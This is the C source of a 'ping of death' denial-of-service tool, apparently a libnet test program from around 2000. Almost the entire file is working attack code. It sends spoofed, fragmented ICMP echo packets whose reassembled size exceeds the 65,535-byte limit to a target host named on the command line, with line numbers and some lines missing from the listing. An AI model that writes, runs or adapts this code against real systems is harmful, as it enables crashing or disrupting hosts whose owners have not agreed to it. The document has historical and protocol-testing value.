2 * $Id: ping_of_death.c,v 1.1.1.1 2000/05/25 00:28:49 route Exp $
5 * pingofdeath.c - ICMP ping of death attack
7 * Copyright (c) 1999, 2000 Dug Song <dugsong@monkey.org>
10 * Redistribution and use in source and binary forms, with or without
11 * modification, are permitted provided that the following conditions
13 * 1. Redistributions of source code must retain the above copyright
14 * notice, this list of conditions and the following disclaimer.
15 * 2. Redistributions in binary form must reproduce the above copyright
16 * notice, this list of conditions and the following disclaimer in the
17 * documentation and/or other materials provided with the distribution.
19 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
20 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
22 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
23 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
25 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
26 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
27 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
28 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
34 #include "../../include/config.h"
36 #include "../libnet_test.h"
40 int main (int argc, char **argv)
42 unsigned long fakesrc, target;
45 int sock, i, flags, offset, len;
47 if (argc != 2 || !(target = libnet_name_resolve(argv[1], 1)))
49 fprintf(stderr, "Usage: %s <target>\n", argv[0]);
53 if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
59 /* get random src addr. */
61 fakesrc = libnet_get_prand(LIBNET_PRu32);
63 buf = malloc(LIBNET_IP_H + LIBNET_ICMP_ECHO_H);
64 data = (unsigned char *)malloc(FRAG_LEN);
66 for (i = 0 ; i < 65536 ; i += (LIBNET_ICMP_ECHO_H + FRAG_LEN))
76 else len = 410; /* for total reconstructed len of 65538 */
79 libnet_build_ip(LIBNET_ICMP_ECHO_H + len, 0, 666,
80 flags | (offset >> 3), 64, IPPROTO_ICMP, fakesrc, target,
83 /* make ICMP packet. */
84 libnet_build_icmp_echo(8, 0, 666, 666, data, len, buf + LIBNET_IP_H);
86 /* calculate ICMP checksum. */
87 libnet_do_checksum(buf, IPPROTO_ICMP, LIBNET_ICMP_ECHO_H + len);
90 libnet_write_ip(sock, buf, LIBNET_IP_H + LIBNET_ICMP_ECHO_H + len);
92 /* tcpdump-style jonks. */
93 printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_host_lookup(fakesrc,0),
94 argv[1], LIBNET_ICMP_ECHO_H + len, offset, flags ? "+" : "");
97 return (EXIT_SUCCESS);